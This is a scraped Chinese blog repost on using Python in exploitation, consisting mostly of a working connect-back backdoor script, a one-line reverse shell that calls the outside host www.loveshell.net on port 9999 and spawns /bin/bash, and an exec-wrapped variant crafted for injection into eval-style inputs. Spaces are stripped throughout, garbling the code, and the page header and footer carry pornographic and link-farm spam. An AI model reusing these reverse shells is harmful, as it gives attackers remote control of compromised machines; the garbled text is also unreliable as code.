国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

在漏洞利用Python代碼真的很爽

2020-01-04 18:07:06
字體:
來源:轉載
供稿:網友

不知道怎么忽然想看這個,呵呵

小我的python的反shell的代碼

#!/usr/bin/python

#PythonConnect-backBackdoor

#Author:wofeiwo

#Version:1.0

#Date:July15th2006

importsys

importos

importsocket

shell="/bin/sh"

defusage(programname):

print"PythonConnect-backBackdoor"

print"Auther:wofeiwo"

print"Date:July15th2006/n"

print"Usage:%s/n"%programname

defmain():

iflen(sys.argv)!=3:

usage(sys.argv[0])

sys.exit(1)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))

print"[+]Connectok."

except:

print"[-]Couldnotconnectto%s:%s"%(sys.argv[1],sys.argv[2])

sys.exit(2)

s.send("--------------------PythonConnect-backBackdoor--------------------/n")

s.send("-----------------------------Bywofeiwo-----------------------------/n")

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

globalshell

os.system(shell)

print"SeeU!"

s.close()

if__name__=="__main__":main()

用在漏洞利用的時候不太好,不是么?我們想要短點的,節省下就是

importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster/r/n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?/r/n");os.system("/bin/bash");s.close();s.send("Seeunexttime!/r/n");

如何?很短了吧?

不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(后面有解釋)那么還可以變化下

exec'importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster//r//n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?//r//n");os.system("/bin/bash");s.close();s.send("Seeunexttime!//r//n");';

注意是//r//n哦,即使在''里好象/r/n一樣會成為換行,所以其實這里即使不用;一樣可以構造好代碼的,另外,為什么不用eval呢?

翻了下手冊

exec語句用來執行儲存在字符串或文件中的Python語句。例如,我們可以在運行時生成一個包含Python代碼的字符串,然后使用exec語句執行這些語句

eval語句用來計算存儲在字符串中的有效Python表達式

呵呵,這里用eval好象會出錯.

YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 云林县| 东兴市| 安宁市| 子洲县| 运城市| 汶上县| 卓尼县| 射洪县| 涿州市| 黄浦区| 辰溪县| 拜城县| 桃江县| 石渠县| 习水县| 赤壁市| 阿坝| 藁城市| 石首市| 安庆市| 运城市| 九寨沟县| 鄂托克旗| 安多县| 博客| 保山市| 定兴县| 鸡泽县| 白沙| 沽源县| 湟源县| 甘洛县| 磴口县| 巴楚县| 金山区| 霸州市| 东阳市| 蓬溪县| 象州县| 大名县| 康保县|